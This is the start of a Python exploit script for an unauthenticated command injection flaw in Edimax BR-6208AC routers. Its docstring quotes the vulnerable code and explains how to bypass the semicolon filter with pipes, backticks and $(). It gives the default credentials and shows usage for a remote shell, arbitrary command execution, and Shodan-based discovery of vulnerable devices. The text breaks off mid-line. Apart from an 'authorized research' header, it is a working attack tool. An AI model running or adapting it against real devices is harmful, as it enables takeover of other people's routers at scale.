#!/usr/bin/env python3
# Archived for authorized security research only.
# Source: https://github.com/carterlasalle/CVE-2026-122051 (see README for attribution/license)
"""br6208 — CVE-2026-122051: Edimax BR-6208AC /goform/mp unauth command injection.
bin/webs (Boa/0.94.14rc21) does, verbatim:
Var = websGetVar(a1, "command", "");
if ((p = strchr(Var, ';'))) *p = 0; /* ';' truncates */
sprintf(buf, "/bin/rftest.sh %s > /tmp/rftest.out", Var);
system(buf);
/* reads /tmp/rftest.out back into the response */
`|`, `&`, backticks and `$()` survive; stdout is echoed between
and . Auth is Basic only (default admin:1234) and
is skipped entirely when the box has auth disabled.
Point it at one host; it negotiates port/TLS/credentials itself, retries,
keeps the working session and drops into a shell.
./br6208.py --ip 1.2.3.4 --shell
./br6208.py --ip 1.2.3.4 --exec 'id; uname -a'
./br6208.py --ip 1.2.3.4 --note --verify
SHODAN_API_KEY=... ./br6208.py --discover --check
"""
import argparse, base64, html, json, os, re, ssl, sys, threading, time, urllib.parse, urllib.request
from concurrent.futures import ThreadPoolExecutor
UA = "Mozilla/5.0 (X11; Linux x86_64; rv:135.0) Gecko/20100101 Firefox/135.0"
MARK = "BR6208MK4417"
OUT_RE = re.compile(r'
\s*(.*?)